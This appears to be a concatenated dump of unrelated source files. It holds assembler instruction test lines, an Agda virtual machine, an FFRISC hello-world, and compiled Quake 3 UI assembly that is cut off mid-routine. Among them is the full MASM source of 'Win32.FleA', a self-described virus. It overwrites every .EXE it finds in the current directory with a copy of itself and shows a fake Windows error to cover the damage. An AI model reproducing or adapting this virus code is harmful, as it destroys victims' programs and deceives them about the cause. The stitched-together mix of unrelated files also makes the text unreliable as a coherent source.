lock xchg al,dh
; XCHG ax,<16-bit>
lock xchg ax,ax
lock xchg ax,bx
lock xchg ax,cx
lock xchg ax,dx
lock xchg ax,si
lock xchg ax,di
lock xchg ax,sp
lock xchg ax,bp
mov [es:si],ax
mov [es:si],bx
mov [es:si],cx
mov [es:si],dx
mov [es:si],si
mov [es:si],di
mov [es:si],bp
mov [es:si],sp
mov [es:esi],ax
mov [es:esi],bx
mov [es:esi],cx
mov [es:esi],dx
mov [es:esi],si
mov [es:esi],di
mov [es:esi],bp
mov [es:esi],sp
mov [es:esi],eax
mov [es:esi],ebx
mov [es:esi],ecx
mov [es:esi],edx
mov [es:esi],esi
mov [es:esi],edi
mov [es:esi],ebp
mov [es:esi],esp
mov [0x1234],al
mov [0x1234],ax
mov [0x1234],eax
mov [dword 0x12345678],al
mov [dword 0x12345678],ax
mov [dword 0x12345678],eax
mov al,[0x1234]
mov ax,[0x1234]
mov eax,[0x1234]
mov al,[dword 0x12345678]
mov ax,[dword 0x12345678]
mov eax,[dword 0x12345678]
; MOV with segment registers
mov ax,cs
mov cs,ax
mov ax,ds
mov ds,ax
mov ax,ss
mov ss,ax
mov ax,es
mov es,ax
; ... mem refs
mov [si],cs
mov cs,[si]
mov [di],ds
mov ds,[di]
mov [bx],es
mov es,[bx]
mov [bp],ss
mov ss,[bp]
mov [bp+di],ds
mov ds,[bp+di]
; ... mem refs and overrides
mov [si],cs ; the recoder will NOT generate the DS: prefix because it's not needed
mov cs,[si]
mov [es:di],ds
mov ds,[es:di]
mov [ss:bx],es
mov es,[ss:bx]
mov [cs:bp],ss
mov ss,[cs:bp]
mov [ds:bp+di],ds
mov ds,[ds:bp+di]
; ... mem refs and overrides
mov [esi],cs ; the recoder will NOT generate the DS: prefix because it's not needed
mov cs,[esi]
mov [es:edi],ds
mov ds,[es:edi]
mov [ss:ebx],es
mov es,[ss:ebx]
mov [cs:ebp],ss
mov ss,[cs:ebp]
mov [ds:esp],ds
mov ds,[ds:esp]
; ... mem refs and overrides
mov [eax*4+ebx+4],cs ; the recoder will NOT generate the DS: prefix because it's not needed
mov cs,[eax*4+ebx+4]
mov [es:edi*8+ecx-18],ds
mov ds,[es:edi*8+ecx-18]
; ... control registers <reg-reg>
mov eax,cr0
mov cr0,eax
mov ebx,cr0
mov cr0,ebx
mov eax,cr1
mov cr1,eax
mov ebx,cr2
mov cr2,ebx
mov eax,dr0
mov dr0,eax
mov ebx,dr1
mov dr1,ebx
mov eax,dr2
mov dr2,eax
mov ebx,dr3
mov dr3,ebx
mov tr0,eax
mov ebx,tr1
mov tr1,ebx
mov eax,tr2
mov tr2,eax
mov ebx,tr3
mov tr3,ebx
; push/pop
push ax
push bx
push cx
push dx
push si
push di
push bp
push sp
pop ax
pop bx
pop cx
pop dx
pop si
pop di
pop bp
pop sp
; push/pop
push eax
push ebx
push ecx
push edx
push esi
push edi
push ebp
push esp
pop eax
pop ebx
pop ecx
pop edx
pop esi
pop edi
pop ebp
pop esp
; push/pop mem word
push word [si]
push word [di]
push word [bx]
push word [bp]
push word [bx+si]
push word [bx+di]
push word [bp+si]
push word [bp+di]
pop word [si]
pop word [di]
pop word [bx]
pop word [bp] ; FIXME: this doesn't decode properly
pop word [bx+si]
pop word [bx+di]
pop word [bp+si]
pop word [bp+di]
; push/pop mem word
push dword [si]
push dword [di]
push dword [bx]
push dword [bp]
push dword [bx+si]
push dword [bx+di]
push dword [bp+si]
push dword [bp+di]
pop dword [si]
pop dword [di]
pop dword [bx]
; pop dword [bp] ; FIXME: this doesn't decode properly
pop dword [bx+si]
pop dword [bx+di]
pop dword [bp+si]
pop dword [bp+di]
; push/pop mem word
push word [eax]
push word [ebx]
push word [ecx]
push word [edx]
push word [esi]
push word [edi]
push word [ebp]
push word [esp]
pop word [eax]
pop word [ebx]
pop word [ecx]
pop word [edx]
pop word [esi]
pop word [edi]
; pop word [ebp] ; FIXME: this doesn't decode properly
pop word [esp]
; push/pop mem word
push dword [eax]
push dword [ebx]
push dword [ecx]
push dword [edx]
push dword [esi]
push dword [edi]
push dword [ebp]
push dword [esp]
pop dword [eax]
pop dword [ebx]
pop dword [ecx]
pop dword [edx]
pop dword [esi]
pop dword [edi]
; pop dword [ebp] ; FIXME: this doesn't decode properly
pop dword [esp]
; push imm (8-bit)
push byte 1
push byte 2
push byte 3
push byte 4
push byte -1
push byte -2
push byte -3
push byte -4
; push imm (16-bit)
push word 1111
push word 2222
push word 3333
push word 4444
; push imm (32-bit)
push dword 11111111
push dword 22222222
push dword 33333333
push dword 44444444
; push/pop segment
push cs
push ds
push es
push fs
push gs
push ss
pop ds
pop es
pop fs
pop gs
pop ss
|
Win32/Win32.FleA/FleA.asm | fengjixuchui/Family | 3 | 245937 | <reponame>fengjixuchui/Family<filename>Win32/Win32.FleA/FleA.asm<gh_stars>1-10
.386
.model flat
jumps
extrn GetCommandLineA:PROC
extrn lstrcpyA:PROC
extrn FindFirstFileA:PROC
extrn CopyFileA:PROC
extrn FindNextFileA:PROC
extrn MessageBoxA:PROC
extrn ExitProcess:PROC
.data
CopyRight db 'Win32.FleA Virus'
db 'Version 1.0'
db 'by -DiA- (c)02'
db '[My 1st Win32 Virus!]'
FakeError db 'Windows Error 300687',10,13
db 'Can not locate the Entry Point!',0
FileMask db '*.EXE',0
Win32FindData dd 0,0,0,0,0,0,0,0,0,0,0
WhatMake dd 200d dup (0)
MakeThat dd 200d dup (0)
ThisProg dd 200d dup (0)
FindHandle dd 0
.code
start:
call GetCommandLineA
push eax
push offset ThisProg
call lstrcpyA
GetPoint:
cmp byte ptr [eax],'.'
jz FoundPoint
inc eax
jmp GetPoint
FoundPoint:
add eax,4d
mov byte ptr [eax],00
push offset Win32FindData
push offset FileMask
call FindFirstFileA
mov dword ptr [FindHandle],eax
FindNext:
cmp eax,-1
je ErrorMsg
or eax,eax
jz ErrorMsg
push offset WhatMake
push offset MakeThat
call lstrcpyA
push 0
push offset MakeThat
push offset ThisProg+1
call CopyFileA
push offset Win32FindData
push dword ptr [FindHandle]
call FindNextFileA
jmp FindNext
ErrorMsg:
push 16
push offset ThisProg+1
push offset FakeError
push 0
call MessageBoxA
push 0
call ExitProcess
end start |
src/Lambda/Virtual-machine.agda | nad/definitional-interpreters | 0 | 13080 | ------------------------------------------------------------------------
-- A virtual machine
------------------------------------------------------------------------
open import Prelude
import Lambda.Virtual-machine.Instructions
module Lambda.Virtual-machine
{Name : Type}
(open Lambda.Virtual-machine.Instructions Name)
(def : Name → Code 1)
where
open import Equality.Propositional
open import Colist equality-with-J as Colist using (Colist)
open import List equality-with-J using (_++_; length)
open import Monad equality-with-J
open import Vec.Data equality-with-J
open import Lambda.Delay-crash using (Delay-crash)
open import Lambda.Delay-crash-trace
open import Lambda.Syntax Name
open Closure Code
-- A single step of the computation.
step : State → Result
step ⟨ var x ∷ c , s , ρ ⟩ = continue ⟨ c , val (index ρ x) ∷ s , ρ ⟩
step ⟨ clo c′ ∷ c , s , ρ ⟩ = continue ⟨ c , val (lam c′ ρ) ∷ s , ρ ⟩
step ⟨ app ∷ c , val v ∷ val (lam c′ ρ′) ∷ s , ρ ⟩ = continue ⟨ c′ , ret c ρ ∷ s , v ∷ ρ′ ⟩
step ⟨ ret ∷ c , val v ∷ ret c′ ρ′ ∷ s , ρ ⟩ = continue ⟨ c′ , val v ∷ s , ρ′ ⟩
step ⟨ cal f ∷ c , val v ∷ s , ρ ⟩ = continue ⟨ def f , ret c ρ ∷ s , v ∷ [] ⟩
step ⟨ tcl f ∷ c , val v ∷ s , ρ ⟩ = continue ⟨ def f , s , v ∷ [] ⟩
step ⟨ con b ∷ c , s , ρ ⟩ = continue ⟨ c , val (con b) ∷ s , ρ ⟩
step ⟨ bra c₁ c₂ ∷ c , val (con true) ∷ s , ρ ⟩ = continue ⟨ c₁ ++ c , s , ρ ⟩
step ⟨ bra c₁ c₂ ∷ c , val (con false) ∷ s , ρ ⟩ = continue ⟨ c₂ ++ c , s , ρ ⟩
step ⟨ [] , val v ∷ [] , [] ⟩ = done v
step _ = crash
-- A functional semantics for the VM. The result includes a trace of
-- all the encountered states.
mutual
exec⁺ : ∀ {i} → State → Delay-crash-trace State Value i
exec⁺ s = later s λ { .force → exec⁺′ (step s) }
exec⁺′ : ∀ {i} → Result → Delay-crash-trace State Value i
exec⁺′ (continue s) = exec⁺ s
exec⁺′ (done v) = now v
exec⁺′ crash = crash
-- The semantics without the trace of states.
exec : ∀ {i} → State → Delay-crash Value i
exec = delay-crash ∘ exec⁺
-- The stack sizes of all the encountered states.
stack-sizes : ∀ {i} → State → Colist ℕ i
stack-sizes =
Colist.map (λ { ⟨ _ , s , _ ⟩ → length s }) ∘ trace ∘ exec⁺
|
examples/hello_world.ffrisc.asm | oshaboy/FFRISC | 2 | 8739 | <gh_stars>1-10
RELOCATE 0
;SET DP to 0x0100
XOR X,X
XOR Y,Y
PUTF Y,0
RESET
YXDP
;get all characters loop
RESET
MEMORY A,[DP+X]
AND A,A ;check if A=0
;halt if A!=0
FLIPF
SKIPF
HALT
;set B to 7
XOR B,B
PUTF B,0
PUTF B,1
PUTF B,2
;set Y to -5
XOR Y,Y
PUTF Y,2
NOT Y
;print loop
ADDF A,A
OUT
SET
DECF B
SKIPF ;if B equals -1
JUMP Y
;done outputting character
INCF X
XOR Y,Y
PUTF Y,3
PUTF Y,4
NOT Y
NOP
JUMP Y
RELOCATE 100
BYTEHEX 48
BYTEHEX 65
BYTEHEX 6C
BYTEHEX 6C
BYTEHEX 6F
BYTEHEX 2C
BYTEHEX 20
BYTEHEX 57
BYTEHEX 6F
BYTEHEX 72
BYTEHEX 6C
BYTEHEX 64
BYTEHEX 21
BYTEHEX 0A
BYTEHEX 00
|
ioq3/build/release-js-js/baseq3/ui/ui_mfield.asm | RawTechnique/quake-port | 1 | 88468 | export MField_Draw
code
proc MField_Draw 1060 20
ADDRFP4 0
ADDRFP4 0
INDIRP4
ASGNP4
ADDRFP4 4
ADDRFP4 4
INDIRI4
ASGNI4
ADDRFP4 12
ADDRFP4 12
INDIRI4
ASGNI4
ADDRLP4 0
ADDRFP4 0
INDIRP4
CNSTI4 8
ADDP4
INDIRI4
ASGNI4
ADDRFP4 0
INDIRP4
CNSTI4 12
ADDP4
ARGP4
ADDRLP4 1048
ADDRGP4 qk_strlen
CALLU4
ASGNU4
ADDRLP4 4
ADDRLP4 1048
INDIRU4
CNSTU4 1
ADDU4
CVUI4 4
ASGNI4
ADDRLP4 4
INDIRI4
ADDRLP4 0
INDIRI4
GTI4 $69
ADDRLP4 8
CNSTI4 0
ASGNI4
ADDRGP4 $70
JUMPV
LABELV $69
ADDRFP4 0
INDIRP4
CNSTI4 4
ADDP4
INDIRI4
ADDRLP4 0
INDIRI4
ADDI4
ADDRLP4 4
INDIRI4
LEI4 $71
ADDRFP4 0
INDIRP4
CNSTI4 4
ADDP4
ADDRLP4 4
INDIRI4
ADDRLP4 0
INDIRI4
SUBI4
ASGNI4
ADDRFP4 0
INDIRP4
CNSTI4 4
ADDP4
INDIRI4
CNSTI4 0
GEI4 $73
ADDRFP4 0
INDIRP4
CNSTI4 4
ADDP4
CNSTI4 0
ASGNI4
LABELV $73
LABELV $71
ADDRLP4 8
ADDRFP4 0
INDIRP4
CNSTI4 4
ADDP4
INDIRI4
ASGNI4
LABELV $70
ADDRLP4 8
INDIRI4
ADDRLP4 0
INDIRI4
ADDI4
ADDRLP4 4
INDIRI4
LEI4 $75
ADDRLP4 0
ADDRLP4 4
INDIRI4
ADDRLP4 8
INDIRI4
SUBI4
ASGNI4
LABELV $75
ADDRLP4 0
INDIRI4
CNSTI4 1024
LTI4 $77
ADDRGP4 $79
ARGP4
ADDRGP4 trap_Error
CALLV
pop
LABELV $77
ADDRLP4 12
ARGP4
ADDRLP4 8
INDIRI4
ADDRFP4 0
INDIRP4
CNSTI4 12
ADDP4
ADDP4
ARGP4
ADDRLP4 0
INDIRI4
CVIU4 4
ARGU4
ADDRGP4 qk_memcpy
CALLP4
pop
ADDRLP4 0
INDIRI4
ADDRLP4 12
ADDP4
CNSTI1 0
ASGNI1
ADDRFP4 4
INDIRI4
ARGI4
ADDRFP4 8
INDIRI4
ARGI4
ADDRLP4 12
ARGP4
ADDRFP4 12
INDIRI4
ARGI4
ADDRFP4 16
INDIRP4
ARGP4
ADDRGP4 UI_DrawString
CALLV
pop
ADDRFP4 12
INDIRI4
CNSTI4 16384
BANDI4
CNSTI4 0
NEI4 $80
ADDRGP4 $68
JUMPV
LABELV $80
ADDRLP4 1052
ADDRGP4 trap_Key_GetOverstrikeMode
CALLI4
ASGNI4
ADDRLP4 1052
INDIRI4
CNSTI4 0
EQI4 $82
ADDRLP4 1040
CNSTI4 11
ASGNI4
ADDRGP4 $83
JUMPV
LABELV $82
ADDRLP4 1040
CNSTI4 10
ASGNI4
LABELV $83
ADDRFP4 12
ADDRFP4 12
INDIRI4
CNSTI4 -16385
BANDI4
ASGNI4
ADDRFP4 12
ADDRFP4 12
INDIRI4
CNSTI4 4096
BORI4
ASGNI4
ADDRFP4 12
INDIRI4
CNSTI4 16
BANDI4
CNSTI4 0
EQI4 $84
ADDRLP4 1036
CNSTI4 8
ASGNI4
ADDRGP4 $85
JUMPV
LABELV $84
ADDRFP4 12
INDIRI4
CNSTI4 64
BANDI4
CNSTI4 0
EQI4 $86
ADDRLP4 1036
CNSTI4 32
ASGNI4
ADDRGP4 $87
JUMPV
LABELV $86
ADDRLP4 1036
CNSTI4 16
ASGNI4
LABELV $87
LABELV $85
ADDRFP4 12
INDIRI4
CNSTI4 1
BANDI4
CNSTI4 0
EQI4 $88
ADDRLP4 12
ARGP4
ADDRLP4 1056
ADDRGP4 qk_strlen
CALLU4
ASGNU4
ADDRLP4 4
ADDRLP4 1056
INDIRU4
CVUI4 4
ASGNI4
ADDRFP4 4
ADDRFP4 4
INDIRI4
ADDRLP4 4
INDIRI4
ADDRLP4 1036
INDIRI4
MULI4
CNSTI4 2
DIVI4
SUBI4
ASGNI4
ADDRGP4 $89
JUMPV
LABELV $88
ADDRFP4 12
INDIRI4
CNSTI4 2
BANDI4
CNSTI4 0
EQI4 $90
ADDRLP4 12
ARGP4
ADDRLP4 1056
ADDRGP4 qk_strlen
CALLU4
ASGNU4
ADDRLP4 4
ADDRLP4 1056
INDIRU4
CVUI4 4
ASGNI4
ADDRFP4 4
ADDRFP4 4
INDIRI4
ADDRLP4 4
INDIRI4
ADDRLP4 1036
INDIRI4
MULI4
SUBI4
ASGNI4
LABELV $90
LABELV $89
ADDRFP4 4
INDIRI4
ADDRFP4 0
INDIRP4
INDIRI4
ADDRLP4 8
INDIRI4
SUBI4
ADDRLP4 1036
INDIRI4
MULI4
ADDI4
ARGI4
ADDRFP4 8
INDIRI4
ARGI4
ADDRLP4 1040
INDIRI4
ARGI4
ADDRFP4 12
INDIRI4
CNSTI4 -4
BANDI4
ARGI4
ADDRFP4 16
INDIRP4
ARGP4
ADDRGP4 UI_DrawChar
CALLV
pop
LABELV $68
endproc MField_Draw 1060 20
export MField_Paste
proc MField_Paste 76 8
ADDRFP4 0
ADDRFP4 0
INDIRP4
ASGNP4
ADDRLP4 4
ARGP4
CNSTI4 64
ARGI4
ADDRGP4 trap_GetClipboardData
CALLV
pop
ADDRLP4 4
ARGP4
ADDRLP4 72
ADDRGP4 qk_strlen
CALLU4
ASGNU4
ADDRLP4 68
ADDRLP4 72
INDIRU4
CVUI4 4
ASGNI4
ADDRLP4 0
CNSTI4 0
ASGNI4
ADDRGP4 $96
JUMPV
LABELV $93
ADDRFP4 0
INDIRP4
ARGP4
ADDRLP4 0
INDIRI4
ADDRLP4 4
ADDP4
INDIRI1
CVII4 1
ARGI4
ADDRGP4 MField_CharEvent
CALLV
pop
LABELV $94
ADDRLP4 0
ADDRLP4 0
INDIRI4
CNSTI4 1
ADDI4
ASGNI4
LABELV $96
ADDRLP4 0
INDIRI4
ADDRLP4 68
INDIRI4
LTI4 $93
LABELV $92
endproc MField_Paste 76 8
export MField_KeyDownEvent
proc MField_KeyDownEvent 64 12
ADDRFP4 0
ADDRFP4 0
INDIRP4
ASGNP4
ADDRFP4 4
ADDRFP4 4
INDIRI4
ASGNI4
ADDRFP4 4
INDIRI4
CNSTI4 139
EQI4 $100
ADDRFP4 4
INDIRI4
CNSTI4 170
NEI4 $98
LABELV $100
CNSTI4 138
ARGI4
ADDRLP4 8
ADDRGP4 trap_Key_IsDown
CALLI4
ASGNI4
ADDRLP4 8
INDIRI4
CNSTI4 0
EQI4 $98
ADDRFP4 0
INDIRP4
ARGP4
ADDRGP4 MField_Paste
CALLV
pop
ADDRGP4 $97
JUMPV
LABELV $98
ADDRFP4 0
INDIRP4
CNSTI4 12
ADDP4
ARGP4
ADDRLP4 12
ADDRGP4 qk_strlen
CALLU4
ASGNU4
ADDRLP4 0
ADDRLP4 12
INDIRU4
CVUI4 4
ASGNI4
ADDRFP4 4
INDIRI4
CNSTI4 140
EQI4 $103
ADDRFP4 4
INDIRI4
CNSTI4 171
NEI4 $101
LABELV $103
ADDRFP4 0
INDIRP4
INDIRI4
ADDRLP4 0
INDIRI4
GEI4 $97
ADDRLP4 24
ADDRFP4 0
INDIRP4
INDIRI4
ASGNI4
ADDRLP4 28
ADDRLP4 24
INDIRI4
ADDRFP4 0
INDIRP4
CNSTI4 12
ADDP4
ADDP4
ASGNP4
ADDRLP4 28
INDIRP4
ARGP4
ADDRLP4 28
INDIRP4
CNSTI4 1
ADDP4
ARGP4
ADDRLP4 0
INDIRI4
ADDRLP4 24
INDIRI4
SUBI4
CVIU4 4
ARGU4
ADDRGP4 qk_memmove
CALLP4
pop
ADDRGP4 $97
JUMPV
LABELV $101
ADDRFP4 4
INDIRI4
CNSTI4 135
EQI4 $108
ADDRFP4 4
INDIRI4
CNSTI4 165
NEI4 $106
LABELV $108
ADDRFP4 0
INDIRP4
INDIRI4
ADDRLP4 0
INDIRI4
GEI4 $109
ADDRFP4 0
INDIRP4
ADDRFP4 0
INDIRP4
INDIRI4
CNSTI4 1
ADDI4
ASGNI4
LABELV $109
ADDRLP4 28
ADDRFP4 0
INDIRP4
INDIRI4
ASGNI4
ADDRLP4 28
INDIRI4
ADDRFP4 0
INDIRP4
CNSTI4 4
ADDP4
INDIRI4
ADDRFP4 0
INDIRP4
CNSTI4 8
ADDP4
INDIRI4
ADDI4
LTI4 $97
ADDRLP4 28
INDIRI4
ADDRLP4 0
INDIRI4
GTI4 $97
ADDRLP4 32
ADDRFP4 0
INDIRP4
CNSTI4 4
ADDP4
ASGNP4
ADDRLP4 32
INDIRP4
ADDRLP4 32
INDIRP4
INDIRI4
CNSTI4 1
ADDI4
ASGNI4
ADDRGP4 $97
JUMPV
LABELV $106
ADDRFP4 4
INDIRI4
CNSTI4 134
EQI4 $115
ADDRFP4 4
INDIRI4
CNSTI4 163
NEI4 $113
LABELV $115
ADDRFP4 0
INDIRP4
INDIRI4
CNSTI4 0
LEI4 $116
ADDRFP4 0
INDIRP4
ADDRFP4 0
INDIRP4
INDIRI4
CNSTI4 1
SUBI4
ASGNI4
LABELV $116
ADDRFP4 0
INDIRP4
INDIRI4
ADDRFP4 0
INDIRP4
CNSTI4 4
ADDP4
INDIRI4
GEI4 $97
ADDRLP4 32
ADDRFP4 0
INDIRP4
CNSTI4 4
ADDP4
ASGNP4
ADDRLP4 32
INDIRP4
ADDRLP4 32
INDIRP4
INDIRI4
CNSTI4 1
SUBI4
ASGNI4
ADDRGP4 $97
JUMPV
LABELV $113
ADDRFP4 4
INDIRI4
CNSTI4 143
EQI4 $123
ADDRFP4 4
INDIRI4
CNSTI4 160
EQI4 $123
ADDRFP4 4
INDIRI4
ARGI4
ADDRLP4 32
ADDRGP4 qk_tolower
CALLI4
ASGNI4
ADDRLP4 32
INDIRI4
CNSTI4 97
NEI4 $120
CNSTI4 137
ARGI4
ADDRLP4 36
ADDRGP4 trap_Key_IsDown
CALLI4
ASGNI4
ADDRLP4 36
INDIRI4
CNSTI4 0
EQI4 $120
LABELV $123
ADDRFP4 0
INDIRP4
CNSTI4 0
ASGNI4
ADDRFP4 0
INDIRP4
CNSTI4 4
ADDP4
CNSTI4 0
ASGNI4
ADDRGP4 $97
JUMPV
LABELV $120
ADDRFP4 4
INDIRI4
CNSTI4 144
EQI4 $127
ADDRFP4 4
INDIRI4
CNSTI4 166
EQI4 $127
ADDRFP4 4
INDIRI4
ARGI4
ADDRLP4 44
ADDRGP4 qk_tolower
CALLI4
ASGNI4
ADDRLP4 44
INDIRI4
CNSTI4 101
NEI4 $124
CNSTI4 137
ARGI4
ADDRLP4 48
ADDRGP4 trap_Key_IsDown
CALLI4
ASGNI4
ADDRLP4 48
INDIRI4
CNSTI4 0
EQI4 $124
LABELV $127
ADDRFP4 0
INDIRP4
ADDRLP4 0
INDIRI4
ASGNI4
ADDRFP4 0
INDIRP4
CNSTI4 4
ADDP4
ADDRLP4 0
INDIRI4
ADDRFP4 0
INDIRP4
CNSTI4 8
ADDP4
INDIRI4
SUBI4
CNSTI4 1
ADDI4
ASGNI4
ADDRFP4 0
INDIRP4
CNSTI4 4
ADDP4
INDIRI4
CNSTI4 0
GEI4 $97
ADDRFP4 0
INDIRP4
CNSTI4 4
ADDP4
CNSTI4 0
ASGNI4
ADDRGP4 $97
JUMPV
LABELV $124
ADDRFP4 4
INDIRI4
CNSTI4 139
EQI4 $132
ADDRFP4 4
INDIRI4
CNSTI4 170
NEI4 $130
LABELV $132
ADDRLP4 60
ADDRGP4 trap_Key_GetOverstrikeMode
CALLI4
ASGNI4
ADDRLP4 60
INDIRI4
CNSTI4 0
NEI4 $134
ADDRLP4 56
CNSTI4 1
ASGNI4
ADDRGP4 $135
JUMPV
LABELV $134
ADDRLP4 56
CNSTI4 0
ASGNI4
LABELV $135
ADDRLP4 56
INDIRI4
ARGI4
ADDRGP4 trap_Key_SetOverstrikeMode
CALLV
pop
LABELV $130
LABELV $97
endproc MField_KeyDownEvent 64 12
export MField_CharEvent
proc MField_CharEvent 36 12
ADDRFP4 0
ADDRFP4 0
INDIRP4
ASGNP4
ADDRFP4 4
ADDRFP4 4
INDIRI4
ASGNI4
ADDRFP4 4
INDIRI4
CNSTI4 22
NEI4 $137
ADDRFP4 0
INDIRP4
ARGP4
ADDRGP4 MField_Paste
CALLV
pop
ADDRGP4 $136
JUMPV
LABELV $137
ADDRFP4 4
INDIRI4
CNSTI4 3
NEI4 $139
ADDRFP4 0
INDIRP4
ARGP4
ADDRGP4 MField_Clear
CALLV
pop
ADDRGP4 $136
JUMPV
LABELV $139
ADDRFP4 0
INDIRP4
CNSTI4 12
ADDP4
ARGP4
ADDRLP4 4
ADDRGP4 qk_strlen
CALLU4
ASGNU4
ADDRLP4 0
ADDRLP4 4
INDIRU4
CVUI4 4
ASGNI4
ADDRFP4 4
INDIRI4
CNSTI4 8
NEI4 $141
ADDRFP4 0
INDIRP4
INDIRI4
CNSTI4 0
LEI4 $136
ADDRLP4 12
ADDRFP4 0
INDIRP4
INDIRI4
ASGNI4
ADDRLP4 16
ADDRLP4 12
INDIRI4
ADDRFP4 0
INDIRP4
CNSTI4 12
ADDP4
ADDP4
ASGNP4
ADDRLP4 16
INDIRP4
CNSTI4 -1
ADDP4
ARGP4
ADDRLP4 16
INDIRP4
ARGP4
ADDRLP4 0
INDIRI4
CNSTI4 1
ADDI4
ADDRLP4 12
INDIRI4
SUBI4
CVIU4 4
ARGU4
ADDRGP4 qk_memmove
CALLP4
pop
ADDRFP4 0
INDIRP4
ADDRFP4 0
INDIRP4
INDIRI4
CNSTI4 1
SUBI4
ASGNI4
ADDRFP4 0
INDIRP4
INDIRI4
ADDRFP4 0
INDIRP4
CNSTI4 4
ADDP4
INDIRI4
GEI4 $136
ADDRLP4 28
ADDRFP4 0
INDIRP4
CNSTI4 4
ADDP4
ASGNP4
ADDRLP4 28
INDIRP4
ADDRLP4 28
INDIRP4
INDIRI4
CNSTI4 1
SUBI4
ASGNI4
ADDRGP4 $136
JUMPV
LABELV $141
ADDRFP4 4
INDIRI4
CNSTI4 1
NEI4 $147
ADDRFP4 0
INDIRP4
CNSTI4 0
ASGNI4
ADDRFP4 0
INDIRP4
CNSTI4 4
ADDP4
CNSTI4 0
ASGNI4
ADDRGP4 $136
JUMPV
LABELV $147
ADDRFP4 4
INDIRI4
CNSTI4 5
NEI4 $149
ADDRFP4 0
INDIRP4
ADDRLP4 0
INDIRI4
ASGNI4
ADDRFP4 0
INDIRP4
CNSTI4 4
ADDP4
ADDRFP4 0
INDIRP4
INDIRI4
ADDRFP4 0
INDIRP4
CNSTI4 8
ADDP4
INDIRI4
SUBI4
CNSTI4 1
ADDI4
ASGNI4
ADDRFP4 0
INDIRP4
CNSTI4 4
ADDP4
INDIRI4
CNSTI4 0
GEI4 $136
ADDRFP4 0
INDIRP4
CNSTI4 4
ADDP4
CNSTI4 0
ASGNI4
ADDRGP4 $136
JUMPV
LABELV $149
ADDRFP4 4
INDIRI4
CNSTI4 32
GEI4 $153
ADDRGP4 $136
JUMPV
LABELV $153
ADDRLP4 8
ADDRGP4 trap_Key_GetOverstrikeMode
CALLI4
ASGNI4
ADDRLP4 8
INDIRI4
CNSTI4 0
NEI4 $155
ADDRLP4 16
ADDRFP4 0
INDIRP4
INDIRI4
ASGNI4
ADDRLP4 16
INDIRI4
CNSTI4 255
EQI4 $159
ADDRLP4 20
ADDRFP4 0
INDIRP4
CNSTI4 268
ADDP4
INDIRI4
ASGNI4
ADDRLP4 20
INDIRI4
CNSTI4 0
EQI4 $156
ADDRLP4 16
INDIRI4
ADDRLP4 20
INDIRI4
LTI4 $156
LABELV $159
ADDRGP4 $136
JUMPV
LABELV $155
ADDRLP4 0
INDIRI4
CNSTI4 255
EQI4 $162
ADDRLP4 16
ADDRFP4 0
INDIRP4
CNSTI4 268
ADDP4
INDIRI4
ASGNI4
ADDRLP4 16
INDIRI4
CNSTI4 0
EQI4 $160
ADDRLP4 0
INDIRI4
ADDRLP4 16
INDIRI4
LTI4 $160
LABELV $162
ADDRGP4 $136
JUMPV
LABELV $160
ADDRLP4 24
ADDRFP4 0
INDIRP4
INDIRI4
ASGNI4
ADDRLP4 28
ADDRLP4 24
INDIRI4
ADDRFP4 0
INDIRP4
CNSTI4 12
ADDP4
ADDP4
ASGNP4
ADDRLP4 32
CNSTI4 1
ASGNI4
ADDRLP4 28
INDIRP4
ADDRLP4 32
INDIRI4
ADDP4
ARGP4
ADDRLP4 28
INDIRP4
ARGP4
ADDRLP4 0
INDIRI4
ADDRLP4 32
INDIRI4
ADDI4
ADDRLP4 24
INDIRI4
SUBI4
CVIU4 4
ARGU4
ADDRGP4 qk_memmove
CALLP4
pop
LABELV $156
ADDRFP4 0
INDIRP4
INDIRI4
ADDRFP4 0
INDIRP4
CNSTI4 12
ADDP4
ADDP4
ADDRFP4 4
INDIRI4
CVII1 4
ASGNI1
ADDRLP4 20
ADDRFP4 0
INDIRP4
CNSTI4 268
ADDP4
INDIRI4
ASGNI4
ADDRLP4 20
INDIRI4
CNSTI4 0
EQI4 $165
ADDRFP4 0
INDIRP4
INDIRI4
ADDRLP4 20
INDIRI4
CNSTI4 1
SUBI4
GEI4 $163
LABELV $165
ADDRFP4 0
INDIRP4
ADDRFP4 0
INDIRP4
INDIRI4
CNSTI4 1
ADDI4
ASGNI4
LABELV $163
ADDRFP4 0
INDIRP4
INDIRI4
ADDRFP4 0
INDIRP4
CNSTI4 8
ADDP4
INDIRI4
LTI4 $166
ADDRLP4 32
ADDRFP4 0
INDIRP4
CNSTI4 4
ADDP4
ASGNP4
ADDRLP4 32
INDIRP4
ADDRLP4 32
INDIRP4
INDIRI4
CNSTI4 1
ADDI4
ASGNI4
LABELV $166
ADDRFP4 0
INDIRP4
INDIRI4
ADDRLP4 0
INDIRI4
CNSTI4 1
ADDI4
NEI4 $168
ADDRFP4 0
INDIRP4
INDIRI4
ADDRFP4 0
INDIRP4
CNSTI4 12
ADDP4
ADDP4
CNSTI1 0
ASGNI1
LABELV $168
LABELV $136
endproc MField_CharEvent 36 12
export MField_Clear
proc MField_Clear 0 0
ADDRFP4 0
ADDRFP4 0
INDIRP4
ASGNP4
ADDRFP4 0
INDIRP4
CNSTI4 12
ADDP4
CNSTI1 0
ASGNI1
ADDRFP4 0
INDIRP4
CNSTI4 0
ASGNI4
ADDRFP4 0
INDIRP4
CNSTI4 4
ADDP4
CNSTI4 0
ASGNI4
LABELV $170
endproc MField_Clear 0 0
export MenuField_Init
proc MenuField_Init 32 4
ADDRFP4 0
ADDRFP4 0
INDIRP4
ASGNP4
ADDRFP4 0
INDIRP4
CNSTI4 60
ADDP4
ARGP4
ADDRGP4 MField_Clear
CALLV
pop
ADDRFP4 0
INDIRP4
CNSTI4 44
ADDP4
INDIRU4
CNSTU4 2
BANDU4
CNSTU4 0
EQU4 $172
ADDRLP4 0
CNSTI4 8
ASGNI4
ADDRLP4 8
CNSTI4 16
ASGNI4
ADDRGP4 $173
JUMPV
LABELV $172
ADDRLP4 12
CNSTI4 16
ASGNI4
ADDRLP4 0
ADDRLP4 12
INDIRI4
ASGNI4
ADDRLP4 8
ADDRLP4 12
INDIRI4
ASGNI4
LABELV $173
ADDRFP4 0
INDIRP4
CNSTI4 4
ADDP4
INDIRP4
CVPU4 4
CNSTU4 0
EQU4 $174
ADDRFP4 0
INDIRP4
CNSTI4 4
ADDP4
INDIRP4
ARGP4
ADDRLP4 12
ADDRGP4 qk_strlen
CALLU4
ASGNU4
ADDRLP4 4
ADDRLP4 12
INDIRU4
CNSTU4 1
ADDU4
ADDRLP4 0
INDIRI4
CVIU4 4
MULU4
CVUI4 4
ASGNI4
ADDRGP4 $175
JUMPV
LABELV $174
ADDRLP4 4
CNSTI4 0
